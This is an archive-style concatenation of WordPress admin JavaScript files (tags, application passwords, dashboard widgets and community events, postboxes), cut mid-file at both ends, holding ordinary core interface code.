response from the server. * * @return {void} */ $.post(ajaxurl, $('#addtag').serialize(), function(r){ var res, parent, term, indent, i; addingTerm = false; form.find( '.submit .spinner' ).removeClass( 'is-active' ); $('#ajax-response').empty(); res = wpAjax.parseAjaxResponse( r, 'ajax-response' ); if ( res.errors && res.responses[0].errors[0].code === 'empty_term_name' ) { validateForm( form ); } if ( ! res || res.errors ) { return; } parent = form.find( 'select#parent' ).val(); // If the parent exists on this page, insert it below. Else insert it at the top of the list. if ( parent > 0 && $('#tag-' + parent ).length > 0 ) { // As the parent exists, insert the version with - - - prefixed. $( '.tags #tag-' + parent ).after( res.responses[0].supplemental.noparents ); } else { // As the parent is not visible, insert the version with Parent - Child - ThisTerm. $( '.tags' ).prepend( res.responses[0].supplemental.parents ); } $('.tags .no-items').remove(); if ( form.find('select#parent') ) { // Parents field exists, Add new term to the list. term = res.responses[1].supplemental; // Create an indent for the Parent field. indent = ''; for ( i = 0; i < res.responses[1].position; i++ ) indent += ' '; form.find( 'select#parent option:selected' ).after( '<option value="' + term.term_id + '">' + indent + term.name + '</option>' ); } $('input:not([type="checkbox"]):not([type="radio"]):not([type="button"]):not([type="submit"]):not([type="reset"]):visible, textarea:visible', form).val(''); }); return false; }); }); application-passwords.js 0000644 00000014372 15174417325 0011450 0 ustar 00 /** * @output wp-admin/js/application-passwords.js */ ( function( $ ) { var $appPassSection = $( '#application-passwords-section' ), $newAppPassForm = $appPassSection.find( '.create-application-password' ), $newAppPassField = $newAppPassForm.find( '.input' ), $newAppPassButton = $newAppPassForm.find( '.button' ), $appPassTwrapper = $appPassSection.find( '.application-passwords-list-table-wrapper' ), $appPassTbody = $appPassSection.find( 'tbody' ), $appPassTrNoItems = $appPassTbody.find( '.no-items' ), $removeAllBtn = $( '#revoke-all-application-passwords' ), tmplNewAppPass = wp.template( 'new-application-password' ), tmplAppPassRow = wp.template( 'application-password-row' ), userId = $( '#user_id' ).val(); $newAppPassButton.on( 'click', function( e ) { e.preventDefault(); if ( $newAppPassButton.prop( 'aria-disabled' ) ) { return; } var name = $newAppPassField.val(); if ( 0 === name.length ) { $newAppPassField.trigger( 'focus' ); return; } clearNotices(); $newAppPassButton.prop( 'aria-disabled', true ).addClass( 'disabled' ); var request = { name: name }; /** * Filters the request data used to create a new Application Password. * * @since 5.6.0 * * @param {Object} request The request data. * @param {number} userId The id of the user the password is added for. */ request = wp.hooks.applyFilters( 'wp_application_passwords_new_password_request', request, userId ); wp.apiRequest( { path: '/wp/v2/users/' + userId + '/application-passwords?_locale=user', method: 'POST', data: request } ).always( function() { $newAppPassButton.removeProp( 'aria-disabled' ).removeClass( 'disabled' ); } ).done( function( response ) { $newAppPassField.val( '' ); $newAppPassButton.prop( 'disabled', false ); $newAppPassForm.after( tmplNewAppPass( { name: response.name, password: response.password } ) ); $( '.new-application-password-notice' ).attr( 'tabindex', '-1' ).trigger( 'focus' ); $appPassTbody.prepend( tmplAppPassRow( response ) ); $appPassTwrapper.show(); $appPassTrNoItems.remove(); /** * Fires after an application password has been successfully created. * * @since 5.6.0 * * @param {Object} response The response data from the REST API. * @param {Object} request The request data used to create the password. */ wp.hooks.doAction( 'wp_application_passwords_created_password', response, request ); } ).fail( handleErrorResponse ); } ); $appPassTbody.on( 'click', '.delete', function( e ) { e.preventDefault(); if ( ! window.confirm( wp.i18n.__( 'Are you sure you want to revoke this password? This action cannot be undone.' ) ) ) { return; } var $submitButton = $( this ), $tr = $submitButton.closest( 'tr' ), uuid = $tr.data( 'uuid' ); clearNotices(); $submitButton.prop( 'disabled', true ); wp.apiRequest( { path: '/wp/v2/users/' + userId + '/application-passwords/' + uuid + '?_locale=user', method: 'DELETE' } ).always( function() { $submitButton.prop( 'disabled', false ); } ).done( function( response ) { if ( response.deleted ) { if ( 0 === $tr.siblings().length ) { $appPassTwrapper.hide(); } $tr.remove(); addNotice( wp.i18n.__( 'Application password revoked.' ), 'success' ).trigger( 'focus' ); } } ).fail( handleErrorResponse ); } ); $removeAllBtn.on( 'click', function( e ) { e.preventDefault(); if ( ! window.confirm( wp.i18n.__( 'Are you sure you want to revoke all passwords? This action cannot be undone.' ) ) ) { return; } var $submitButton = $( this ); clearNotices(); $submitButton.prop( 'disabled', true ); wp.apiRequest( { path: '/wp/v2/users/' + userId + '/application-passwords?_locale=user', method: 'DELETE' } ).always( function() { $submitButton.prop( 'disabled', false ); } ).done( function( response ) { if ( response.deleted ) { $appPassTbody.children().remove(); $appPassSection.children( '.new-application-password' ).remove(); $appPassTwrapper.hide(); addNotice( wp.i18n.__( 'All application passwords revoked.' ), 'success' ).trigger( 'focus' ); } } ).fail( handleErrorResponse ); } ); $appPassSection.on( 'click', '.notice-dismiss', function( e ) { e.preventDefault(); var $el = $( this ).parent(); $el.removeAttr( 'role' ); $el.fadeTo( 100, 0, function () { $el.slideUp( 100, function () { $el.remove(); $newAppPassField.trigger( 'focus' ); } ); } ); } ); $newAppPassField.on( 'keypress', function ( e ) { if ( 13 === e.which ) { e.preventDefault(); $newAppPassButton.trigger( 'click' ); } } ); // If there are no items, don't display the table yet. If there are, show it. if ( 0 === $appPassTbody.children( 'tr' ).not( $appPassTrNoItems ).length ) { $appPassTwrapper.hide(); } /** * Handles an error response from the REST API. * * @since 5.6.0 * * @param {jqXHR} xhr The XHR object from the ajax call. * @param {string} textStatus The string categorizing the ajax request's status. * @param {string} errorThrown The HTTP status error text. */ function handleErrorResponse( xhr, textStatus, errorThrown ) { var errorMessage = errorThrown; if ( xhr.responseJSON && xhr.responseJSON.message ) { errorMessage = xhr.responseJSON.message; } addNotice( errorMessage, 'error' ); } /** * Displays a message in the Application Passwords section. * * @since 5.6.0 * * @param {string} message The message to display. * @param {string} type The notice type. Either 'success' or 'error'. * @returns {jQuery} The notice element. */ function addNotice( message, type ) { var $notice = $( '<div></div>' ) .attr( 'role', 'alert' ) .attr( 'tabindex', '-1' ) .addClass( 'is-dismissible notice notice-' + type ) .append( $( '<p></p>' ).text( message ) ) .append( $( '<button></button>' ) .attr( 'type', 'button' ) .addClass( 'notice-dismiss' ) .append( $( '<span></span>' ).addClass( 'screen-reader-text' ).text( wp.i18n.__( 'Dismiss this notice.' ) ) ) ); $newAppPassForm.after( $notice ); return $notice; } /** * Clears notice messages from the Application Passwords section. * * @since 5.6.0 */ function clearNotices() { $( '.notice', $appPassSection ).remove(); } }( jQuery ) ); tags.min.js 0000644 00000004643 15174417325 0006642 0 ustar 00 /*! This file is auto-generated */ jQuery(function(s){var o=!1;function a(e){e.children().css("backgroundColor",""),e.css("pointer-events",""),e.find(":input, a").prop("disabled",!1).removeAttr("tabindex")}s("#the-list").on("click",".delete-tag",function(){var n,e=s(this),r=e.parents("tr"),t=!0;return(t="undefined"!=showNotice?showNotice.warn():t)&&(n=e.attr("href").replace(/[^?]*\?/,"").replace(/action=delete/,"action=delete-tag"),r.children().css("backgroundColor","#faafaa"),r.css("pointer-events","none"),r.find(":input, a").prop("disabled",!0).attr("tabindex",-1),s.post(ajaxurl,n,function(e){if("1"==e){s("#ajax-response").empty();let e=r.next("tr").find("a.row-title");var t=r.prev("tr").find("a.row-title");e.length<1&&t.length<1?e=s("#tag-name").trigger("focus"):e.length<1&&(e=t),r.fadeOut("normal",function(){r.remove()}),s('select#parent option[value="'+n.match(/tag_ID=(\d+)/)[1]+'"]').remove(),s("a.tag-link-"+n.match(/tag_ID=(\d+)/)[1]).remove(),e.trigger("focus"),t=wp.i18n.__("The selected tag has been deleted.")}else t="-1"==e?wp.i18n.__("Sorry, you are not allowed to do that."):wp.i18n.__("An error occurred while processing your request. Please try again later."),s("#ajax-response").empty().append('<div class="notice notice-error"><p>'+t+"</p></div>"),a(r);wp.a11y.speak(t,"assertive")})),!1}),s("#edittag").on("click",".delete",function(e){if("undefined"==typeof showNotice)return!0;showNotice.warn()||e.preventDefault()}),s("#submit").on("click",function(){var a=s(this).parents("form");return o||(o=!0,a.find(".submit .spinner").addClass("is-active"),s.post(ajaxurl,s("#addtag").serialize(),function(e){var t,n,r;if(o=!1,a.find(".submit .spinner").removeClass("is-active"),s("#ajax-response").empty(),(t=wpAjax.parseAjaxResponse(e,"ajax-response")).errors&&"empty_term_name"===t.responses[0].errors[0].code&&validateForm(a),t&&!t.errors){if(0<(e=a.find("select#parent").val())&&0<s("#tag-"+e).length?s(".tags #tag-"+e).after(t.responses[0].supplemental.noparents):s(".tags").prepend(t.responses[0].supplemental.parents),s(".tags .no-items").remove(),a.find("select#parent")){for(e=t.responses[1].supplemental,n="",r=0;r<t.responses[1].position;r++)n+=" ";a.find("select#parent option:selected").after('<option value="'+e.term_id+'">'+n+e.name+"</option>")}s('input:not([type="checkbox"]):not([type="radio"]):not([type="button"]):not([type="submit"]):not([type="reset"]):visible, textarea:visible',a).val("")}})),!1})}); dashboard.js 0000644 00000066022 15174417325 0007050 0 ustar 00 /** * @output wp-admin/js/dashboard.js */ /* global pagenow, ajaxurl, postboxes, wpActiveEditor:true, ajaxWidgets */ /* global ajaxPopulateWidgets, quickPressLoad, */ window.wp = window.wp || {}; window.communityEventsData = window.communityEventsData || {}; /** * Initializes the dashboard widget functionality. * * @since 2.7.0 */ jQuery( function($) { var welcomePanel = $( '#welcome-panel' ), welcomePanelHide = $('#wp_welcome_panel-hide'), updateWelcomePanel; /** * Saves the visibility of the welcome panel. * * @since 3.3.0 * * @param {boolean} visible Should it be visible or not. * * @return {void} */ updateWelcomePanel = function( visible ) { $.post( ajaxurl, { action: 'update-welcome-panel', visible: visible, welcomepanelnonce: $( '#welcomepanelnonce' ).val() }, function() { wp.a11y.speak( wp.i18n.__( 'Screen Options updated.' ) ); } ); }; // Unhide the welcome panel if the Welcome Option checkbox is checked. if ( welcomePanel.hasClass('hidden') && welcomePanelHide.prop('checked') ) { welcomePanel.removeClass('hidden'); } // Hide the welcome panel when the dismiss button or close button is clicked. $('.welcome-panel-close, .welcome-panel-dismiss a', welcomePanel).on( 'click', function(e) { e.preventDefault(); welcomePanel.addClass('hidden'); updateWelcomePanel( 0 ); $('#wp_welcome_panel-hide').prop('checked', false); }); // Set welcome panel visibility based on Welcome Option checkbox value. welcomePanelHide.on( 'click', function() { welcomePanel.toggleClass('hidden', ! this.checked ); updateWelcomePanel( this.checked ? 1 : 0 ); }); /** * These widgets can be populated via ajax. * * @since 2.7.0 * * @type {string[]} * * @global */ window.ajaxWidgets = ['dashboard_primary']; /** * Triggers widget updates via Ajax. * * @since 2.7.0 * * @global * * @param {string} el Optional. Widget to fetch or none to update all. * * @return {void} */ window.ajaxPopulateWidgets = function(el) { /** * Fetch the latest representation of the widget via Ajax and show it. * * @param {number} i Number of half-seconds to use as the timeout. * @param {string} id ID of the element which is going to be checked for changes. * * @return {void} */ function show(i, id) { var p, e = $('#' + id + ' div.inside:visible').find('.widget-loading'); // If the element is found in the dom, queue to load latest representation. if ( e.length ) { p = e.parent(); setTimeout( function(){ // Request the widget content. p.load( ajaxurl + '?action=dashboard-widgets&widget=' + id + '&pagenow=' + pagenow, '', function() { // Hide the parent and slide it out for visual fanciness. p.hide().slideDown('normal', function(){ $(this).css('display', ''); }); }); }, i * 500 ); } } // If we have received a specific element to fetch, check if it is valid. if ( el ) { el = el.toString(); // If the element is available as Ajax widget, show it. if ( $.inArray(el, ajaxWidgets) !== -1 ) { // Show element without any delay. show(0, el); } } else { // Walk through all ajaxWidgets, loading them after each other. $.each( ajaxWidgets, show ); } }; // Initially populate ajax widgets. ajaxPopulateWidgets(); // Register ajax widgets as postbox toggles. postboxes.add_postbox_toggles(pagenow, { pbshow: ajaxPopulateWidgets } ); /** * Control the Quick Press (Quick Draft) widget. * * @since 2.7.0 * * @global * * @return {void} */ window.quickPressLoad = function() { var act = $('#quickpost-action'), t; // Enable the submit buttons. $( '#quick-press .submit input[type="submit"], #quick-press .submit input[type="reset"]' ).prop( 'disabled' , false ); t = $('#quick-press').on( 'submit', function( e ) { e.preventDefault(); // Show a spinner. $('#dashboard_quick_press #publishing-action .spinner').show(); // Disable the submit button to prevent duplicate submissions. $('#quick-press .submit input[type="submit"], #quick-press .submit input[type="reset"]').prop('disabled', true); // Post the entered data to save it. $.post( t.attr( 'action' ), t.serializeArray(), function( data ) { // Replace the form, and prepend the published post. $('#dashboard_quick_press .inside').html( data ); $('#quick-press').removeClass('initial-form'); quickPressLoad(); highlightLatestPost(); // Focus the title to allow for quickly drafting another post. $('#title').trigger( 'focus' ); }); /** * Highlights the latest post for one second. * * @return {void} */ function highlightLatestPost () { var latestPost = $('.drafts ul li').first(); latestPost.css('background', '#fffbe5'); setTimeout(function () { latestPost.css('background', 'none'); }, 1000); } } ); // Change the QuickPost action to the publish value. $('#publish').on( 'click', function() { act.val( 'post-quickpress-publish' ); } ); $('#quick-press').on( 'click focusin', function() { wpActiveEditor = 'content'; }); autoResizeTextarea(); }; window.quickPressLoad(); // Enable the dragging functionality of the widgets. $( '.meta-box-sortables' ).sortable( 'option', 'containment', '#wpwrap' ); /** * Adjust the height of the textarea based on the content. * * @since 3.6.0 * * @return {void} */ function autoResizeTextarea() { // When IE8 or older is used to render this document, exit. if ( document.documentMode && document.documentMode < 9 ) { return; } // Add a hidden div. We'll copy over the text from the textarea to measure its height. $('body').append( '<div class="quick-draft-textarea-clone" style="display: none;"></div>' ); var clone = $('.quick-draft-textarea-clone'), editor = $('#content'), editorHeight = editor.height(), /* * 100px roughly accounts for browser chrome and allows the * save draft button to show on-screen at the same time. */ editorMaxHeight = $(window).height() - 100; /* * Match up textarea and clone div as much as possible. * Padding cannot be reliably retrieved using shorthand in all browsers. */ clone.css({ 'font-family': editor.css('font-family'), 'font-size': editor.css('font-size'), 'line-height': editor.css('line-height'), 'padding-bottom': editor.css('paddingBottom'), 'padding-left': editor.css('paddingLeft'), 'padding-right': editor.css('paddingRight'), 'padding-top': editor.css('paddingTop'), 'white-space': 'pre-wrap', 'word-wrap': 'break-word', 'display': 'none' }); // The 'propertychange' is used in IE < 9. editor.on('focus input propertychange', function() { var $this = $(this), // Add a non-breaking space to ensure that the height of a trailing newline is // included. textareaContent = $this.val() + ' ', // Add 2px to compensate for border-top & border-bottom. cloneHeight = clone.css('width', $this.css('width')).text(textareaContent).outerHeight() + 2; // Default to show a vertical scrollbar, if needed. editor.css('overflow-y', 'auto'); // Only change the height if it has changed and both heights are below the max. if ( cloneHeight === editorHeight || ( cloneHeight >= editorMaxHeight && editorHeight >= editorMaxHeight ) ) { return; } /* * Don't allow editor to exceed the height of the window. * This is also bound in CSS to a max-height of 1300px to be extra safe. */ if ( cloneHeight > editorMaxHeight ) { editorHeight = editorMaxHeight; } else { editorHeight = cloneHeight; } // Disable scrollbars because we adjust the height to the content. editor.css('overflow', 'hidden'); $this.css('height', editorHeight + 'px'); }); } } ); jQuery( function( $ ) { 'use strict'; var communityEventsData = window.communityEventsData, dateI18n = wp.date.dateI18n, format = wp.date.format, sprintf = wp.i18n.sprintf, __ = wp.i18n.__, _x = wp.i18n._x, app; /** * Global Community Events namespace. * * @since 4.8.0 * * @memberOf wp * @namespace wp.communityEvents */ app = window.wp.communityEvents = /** @lends wp.communityEvents */{ initialized: false, model: null, /** * Initializes the wp.communityEvents object. * * @since 4.8.0 * * @return {void} */ init: function() { if ( app.initialized ) { return; } var $container = $( '#community-events' ); /* * When JavaScript is disabled, the errors container is shown, so * that "This widget requires JavaScript" message can be seen. * * When JS is enabled, the container is hidden at first, and then * revealed during the template rendering, if there actually are * errors to show. * * The display indicator switches from `hide-if-js` to `aria-hidden` * here in order to maintain consistency with all the other fields * that key off of `aria-hidden` to determine their visibility. * `aria-hidden` can't be used initially, because there would be no * way to set it to false when JavaScript is disabled, which would * prevent people from seeing the "This widget requires JavaScript" * message. */ $( '.community-events-errors' ) .attr( 'aria-hidden', 'true' ) .removeClass( 'hide-if-js' ); $container.on( 'click', '.community-events-toggle-location, .community-events-cancel', app.toggleLocationForm ); /** * Filters events based on entered location. * * @return {void} */ $container.on( 'submit', '.community-events-form', function( event ) { var location = $( '#community-events-location' ).val().trim(); event.preventDefault(); /* * Don't trigger a search if the search field is empty or the * search term was made of only spaces before being trimmed. */ if ( ! location ) { return; } app.getEvents({ location: location }); }); if ( communityEventsData && communityEventsData.cache && communityEventsData.cache.location && communityEventsData.cache.events ) { app.renderEventsTemplate( communityEventsData.cache, 'app' ); } else { app.getEvents(); } app.initialized = true; }, /** * Toggles the visibility of the Edit Location form. * * @since 4.8.0 * * @param {event|string} action 'show' or 'hide' to specify a state; * or an event object to flip between states. * * @return {void} */ toggleLocationForm: function( action ) { var $toggleButton = $( '.community-events-toggle-location' ), $cancelButton = $( '.community-events-cancel' ), $form = $( '.community-events-form' ), $target = $(); if ( 'object' === typeof action ) { // The action is the event object: get the clicked element. $target = $( action.target ); /* * Strict comparison doesn't work in this case because sometimes * we explicitly pass a string as value of aria-expanded and * sometimes a boolean as the result of an evaluation. */ action = 'true' == $toggleButton.attr( 'aria-expanded' ) ? 'hide' : 'show'; } if ( 'hide' === action ) { $toggleButton.attr( 'aria-expanded', 'false' ); $cancelButton.attr( 'aria-expanded', 'false' ); $form.attr( 'aria-hidden', 'true' ); /* * If the Cancel button has been clicked, bring the focus back * to the toggle button so users relying on screen readers don't * lose their place. */ if ( $target.hasClass( 'community-events-cancel' ) ) { $toggleButton.trigger( 'focus' ); } } else { $toggleButton.attr( 'aria-expanded', 'true' ); $cancelButton.attr( 'aria-expanded', 'true' ); $form.attr( 'aria-hidden', 'false' ); } }, /** * Sends REST API requests to fetch events for the widget. * * @since 4.8.0 * * @param {Object} requestParams REST API Request parameters object. * * @return {void} */ getEvents: function( requestParams ) { var initiatedBy, app = this, $spinner = $( '.community-events-form' ).children( '.spinner' ); requestParams = requestParams || {}; requestParams._wpnonce = communityEventsData.nonce; requestParams.timezone = window.Intl ? window.Intl.DateTimeFormat().resolvedOptions().timeZone : ''; initiatedBy = requestParams.location ? 'user' : 'app'; $spinner.addClass( 'is-active' ); wp.ajax.post( 'get-community-events', requestParams ) .always( function() { $spinner.removeClass( 'is-active' ); }) .done( function( response ) { if ( 'no_location_available' === response.error ) { if ( requestParams.location ) { response.unknownCity = requestParams.location; } else { /* * No location was passed, which means that this was an automatic query * based on IP, locale, and timezone. Since the user didn't initiate it, * it should fail silently. Otherwise, the error could confuse and/or * annoy them. */ delete response.error; } } app.renderEventsTemplate( response, initiatedBy ); }) .fail( function() { app.renderEventsTemplate({ 'location' : false, 'events' : [], 'error' : true }, initiatedBy ); }); }, /** * Renders the template for the Events section of the Events & News widget. * * @since 4.8.0 * * @param {Object} templateParams The various parameters that will get passed to wp.template. * @param {string} initiatedBy 'user' to indicate that this was triggered manually by the user; * 'app' to indicate it was triggered automatically by the app itself. * * @return {void} */ renderEventsTemplate: function( templateParams, initiatedBy ) { var template, elementVisibility, $toggleButton = $( '.community-events-toggle-location' ), $locationMessage = $( '#community-events-location-message' ), $results = $( '.community-events-results' ); templateParams.events = app.populateDynamicEventFields( templateParams.events, communityEventsData.time_format ); /* * Hide all toggleable elements by default, to keep the logic simple. * Otherwise, each block below would have to turn hide everything that * could have been shown at an earlier point. * * The exception to that is that the .community-events container is hidden * when the page is first loaded, because the content isn't ready yet, * but once we've reached this point, it should always be shown. */ elementVisibility = { '.community-events' : true, '.community-events-loading' : false, '.community-events-errors' : false, '.community-events-error-occurred' : false, '.community-events-could-not-locate' : false, '#community-events-location-message' : false, '.community-events-toggle-location' : false, '.community-events-results' : false }; /* * Determine which templates should be rendered and which elements * should be displayed. */ if ( templateParams.location.ip ) { /* * If the API determined the location by geolocating an IP, it will * provide events, but not a specific location. */ $locationMessage.text( __( 'Attend an upcoming event near you.' ) ); if ( templateParams.events.length ) { template = wp.template( 'community-events-event-list' ); $results.html( template( templateParams ) ); } else { template = wp.template( 'community-events-no-upcoming-events' ); $results.html( template( templateParams ) ); } elementVisibility['#community-events-location-message'] = true; elementVisibility['.community-events-toggle-location'] = true; elementVisibility['.community-events-results'] = true; } else if ( templateParams.location.description ) { template = wp.template( 'community-events-attend-event-near' ); $locationMessage.html( template( templateParams ) ); if ( templateParams.events.length ) { template = wp.template( 'community-events-event-list' ); $results.html( template( templateParams ) ); } else { template = wp.template( 'community-events-no-upcoming-events' ); $results.html( template( templateParams ) ); } if ( 'user' === initiatedBy ) { wp.a11y.speak( sprintf( /* translators: %s: The name of a city. */ __( 'City updated. Listing events near %s.' ), templateParams.location.description ), 'assertive' ); } elementVisibility['#community-events-location-message'] = true; elementVisibility['.community-events-toggle-location'] = true; elementVisibility['.community-events-results'] = true; } else if ( templateParams.unknownCity ) { template = wp.template( 'community-events-could-not-locate' ); $( '.community-events-could-not-locate' ).html( template( templateParams ) ); wp.a11y.speak( sprintf( /* * These specific examples were chosen to highlight the fact that a * state is not needed, even for cities whose name is not unique. * It would be too cumbersome to include that in the instructions * to the user, so it's left as an implication. */ /* * translators: %s is the name of the city we couldn't locate. * Replace the examples with cities related to your locale. Test that * they match the expected location and have upcoming events before * including them. If no cities related to your locale have events, * then use cities related to your locale that would be recognizable * to most users. Use only the city name itself, without any region * or country. Use the endonym (native locale name) instead of the * English name if possible. */ __( 'We couldn’t locate %s. Please try another nearby city. For example: Kansas City; Springfield; Portland.' ), templateParams.unknownCity ) ); elementVisibility['.community-events-errors'] = true; elementVisibility['.community-events-could-not-locate'] = true; } else if ( templateParams.error && 'user' === initiatedBy ) { /* * Errors messages are only shown for requests that were initiated * by the user, not for ones that were initiated by the app itself. * Showing error messages for an event that user isn't aware of * could be confusing or unnecessarily distracting. */ wp.a11y.speak( __( 'An error occurred. Please try again.' ) ); elementVisibility['.community-events-errors'] = true; elementVisibility['.community-events-error-occurred'] = true; } else { $locationMessage.text( __( 'Enter your closest city to find nearby events.' ) ); elementVisibility['#community-events-location-message'] = true; elementVisibility['.community-events-toggle-location'] = true; } // Set the visibility of toggleable elements. _.each( elementVisibility, function( isVisible, element ) { $( element ).attr( 'aria-hidden', ! isVisible ); }); $toggleButton.attr( 'aria-expanded', elementVisibility['.community-events-toggle-location'] ); if ( templateParams.location && ( templateParams.location.ip || templateParams.location.latitude ) ) { // Hide the form when there's a valid location. app.toggleLocationForm( 'hide' ); if ( 'user' === initiatedBy ) { /* * When the form is programmatically hidden after a user search, * bring the focus back to the toggle button so users relying * on screen readers don't lose their place. */ $toggleButton.trigger( 'focus' ); } } else { app.toggleLocationForm( 'show' ); } }, /** * Populate event fields that have to be calculated on the fly. * * These can't be stored in the database, because they're dependent on * the user's current time zone, locale, etc. * * @since 5.5.2 * * @param {Array} rawEvents The events that should have dynamic fields added to them. * @param {string} timeFormat A time format acceptable by `wp.date.dateI18n()`. * * @returns {Array} */ populateDynamicEventFields: function( rawEvents, timeFormat ) { // Clone the parameter to avoid mutating it, so that this can remain a pure function. var populatedEvents = JSON.parse( JSON.stringify( rawEvents ) ); $.each( populatedEvents, function( index, event ) { var timeZone = app.getTimeZone( event.start_unix_timestamp * 1000 ); event.user_formatted_date = app.getFormattedDate( event.start_unix_timestamp * 1000, event.end_unix_timestamp * 1000, timeZone ); event.user_formatted_time = dateI18n( timeFormat, event.start_unix_timestamp * 1000, timeZone ); event.timeZoneAbbreviation = app.getTimeZoneAbbreviation( event.start_unix_timestamp * 1000 ); } ); return populatedEvents; }, /** * Returns the user's local/browser time zone, in a form suitable for `wp.date.i18n()`. * * @since 5.5.2 * * @param startTimestamp * * @returns {string|number} */ getTimeZone: function( startTimestamp ) { /* * Prefer a name like `Europe/Helsinki`, since that automatically tracks daylight savings. This * doesn't need to take `startTimestamp` into account for that reason. */ var timeZone = Intl.DateTimeFormat().resolvedOptions().timeZone; /* * Fall back to an offset for IE11, which declares the property but doesn't assign a value. */ if ( 'undefined' === typeof timeZone ) { /* * It's important to use the _event_ time, not the _current_ * time, so that daylight savings time is accounted for. */ timeZone = app.getFlippedTimeZoneOffset( startTimestamp ); } return timeZone; }, /** * Get intuitive time zone offset. * * `Data.prototype.getTimezoneOffset()` returns a positive value for time zones * that are _behind_ UTC, and a _negative_ value for ones that are ahead. * * See https://stackoverflow.com/questions/21102435/why-does-javascript-date-gettimezoneoffset-consider-0500-as-a-positive-off. * * @since 5.5.2 * * @param {number} startTimestamp * * @returns {number} */ getFlippedTimeZoneOffset: function( startTimestamp ) { return new Date( startTimestamp ).getTimezoneOffset() * -1; }, /** * Get a short time zone name, like `PST`. * * @since 5.5.2 * * @param {number} startTimestamp * * @returns {string} */ getTimeZoneAbbreviation: function( startTimestamp ) { var timeZoneAbbreviation, eventDateTime = new Date( startTimestamp ); /* * Leaving the `locales` argument undefined is important, so that the browser * displays the abbreviation that's most appropriate for the current locale. For * some that will be `UTC{+|-}{n}`, and for others it will be a code like `PST`. * * This doesn't need to take `startTimestamp` into account, because a name like * `America/Chicago` automatically tracks daylight savings. */ var shortTimeStringParts = eventDateTime.toLocaleTimeString( undefined, { timeZoneName : 'short' } ).split( ' ' ); if ( 3 === shortTimeStringParts.length ) { timeZoneAbbreviation = shortTimeStringParts[2]; } if ( 'undefined' === typeof timeZoneAbbreviation ) { /* * It's important to use the _event_ time, not the _current_ * time, so that daylight savings time is accounted for. */ var timeZoneOffset = app.getFlippedTimeZoneOffset( startTimestamp ), sign = -1 === Math.sign( timeZoneOffset ) ? '' : '+'; // translators: Used as part of a string like `GMT+5` in the Events Widget. timeZoneAbbreviation = _x( 'GMT', 'Events widget offset prefix' ) + sign + ( timeZoneOffset / 60 ); } return timeZoneAbbreviation; }, /** * Format a start/end date in the user's local time zone and locale. * * @since 5.5.2 * * @param {int} startDate The Unix timestamp in milliseconds when the the event starts. * @param {int} endDate The Unix timestamp in milliseconds when the the event ends. * @param {string} timeZone A time zone string or offset which is parsable by `wp.date.i18n()`. * * @returns {string} */ getFormattedDate: function( startDate, endDate, timeZone ) { var formattedDate; /* * The `date_format` option is not used because it's important * in this context to keep the day of the week in the displayed date, * so that users can tell at a glance if the event is on a day they * are available, without having to open the link. * * The case of crossing a year boundary is intentionally not handled. * It's so rare in practice that it's not worth the complexity * tradeoff. The _ending_ year should be passed to * `multiple_month_event`, though, just in case. */ /* translators: Date format for upcoming events on the dashboard. Include the day of the week. See https://www.php.net/manual/datetime.format.php */ var singleDayEvent = __( 'l, M j, Y' ), /* translators: Date string for upcoming events. 1: Month, 2: Starting day, 3: Ending day, 4: Year. */ multipleDayEvent = __( '%1$s %2$d–%3$d, %4$d' ), /* translators: Date string for upcoming events. 1: Starting month, 2: Starting day, 3: Ending month, 4: Ending day, 5: Ending year. */ multipleMonthEvent = __( '%1$s %2$d – %3$s %4$d, %5$d' ); // Detect single-day events. if ( ! endDate || format( 'Y-m-d', startDate ) === format( 'Y-m-d', endDate ) ) { formattedDate = dateI18n( singleDayEvent, startDate, timeZone ); // Multiple day events. } else if ( format( 'Y-m', startDate ) === format( 'Y-m', endDate ) ) { formattedDate = sprintf( multipleDayEvent, dateI18n( _x( 'F', 'upcoming events month format' ), startDate, timeZone ), dateI18n( _x( 'j', 'upcoming events day format' ), startDate, timeZone ), dateI18n( _x( 'j', 'upcoming events day format' ), endDate, timeZone ), dateI18n( _x( 'Y', 'upcoming events year format' ), endDate, timeZone ) ); // Multi-day events that cross a month boundary. } else { formattedDate = sprintf( multipleMonthEvent, dateI18n( _x( 'F', 'upcoming events month format' ), startDate, timeZone ), dateI18n( _x( 'j', 'upcoming events day format' ), startDate, timeZone ), dateI18n( _x( 'F', 'upcoming events month format' ), endDate, timeZone ), dateI18n( _x( 'j', 'upcoming events day format' ), endDate, timeZone ), dateI18n( _x( 'Y', 'upcoming events year format' ), endDate, timeZone ) ); } return formattedDate; } }; if ( $( '#dashboard_primary' ).is( ':visible' ) ) { app.init(); } else { $( document ).on( 'postbox-toggled', function( event, postbox ) { var $postbox = $( postbox ); if ( 'dashboard_primary' === $postbox.attr( 'id' ) && $postbox.is( ':visible' ) ) { app.init(); } }); } }); /** * Removed in 5.6.0, needed for back-compatibility. * * @since 4.8.0 * @deprecated 5.6.0 * * @type {object} */ window.communityEventsData.l10n = window.communityEventsData.l10n || { enter_closest_city: '', error_occurred_please_try_again: '', attend_event_near_generic: '', could_not_locate_city: '', city_updated: '' }; window.communityEventsData.l10n = window.wp.deprecateL10nObject( 'communityEventsData.l10n', window.communityEventsData.l10n, '5.6.0' ); postbox.js 0000644 00000044771 15174417325 0006626 0 ustar 00 /** * Contains the postboxes logic, opening and closing postboxes, reordering and saving * the state and ordering to the database. * * @since 2.5.0 * @requires jQuery * @output wp-admin/js/postbox.js */ /* global ajaxurl, postboxes */ (function($) { var $document = $( document ), __ = wp.i18n.__; /** * This object contains all function to handle the behavior of the post boxes. The post boxes are the boxes you see * around the content on the edit page. * * @since 2.7.0 * * @namespace postboxes * * @type {Object} */ window.postboxes = { /** * Handles a click on either the postbox heading or the postbox open/close icon. * * Opens or closes the postbox. Expects `this` to equal the clicked element. * Calls postboxes.pbshow if the postbox has been opened, calls postboxes.pbhide * if the postbox has been closed. * * @since 4.4.0 * * @memberof postboxes * * @fires postboxes#postbox-toggled * * @return {void} */ handle_click : function () { var $el = $( this ), p = $el.closest( '.postbox' ), id = p.attr( 'id' ), ariaExpandedValue; if ( 'dashboard_browser_nag' === id ) { return; } p.toggleClass( 'closed' ); ariaExpandedValue = ! p.hasClass( 'closed' ); if ( $el.hasClass( 'handlediv' ) ) { // The handle button was clicked. $el.attr( 'aria-expanded', ariaExpandedValue ); } else { // The handle heading was clicked. $el.closest( '.postbox' ).find( 'button.handlediv' ) .attr( 'aria-expanded', ariaExpandedValue ); } if ( postboxes.page !== 'press-this' ) { postboxes.save_state( postboxes.page ); } if ( id ) { if ( !p.hasClass('closed') && typeof postboxes.pbshow === 'function' ) { postboxes.pbshow( id ); } else if ( p.hasClass('closed') && typeof postboxes.pbhide === 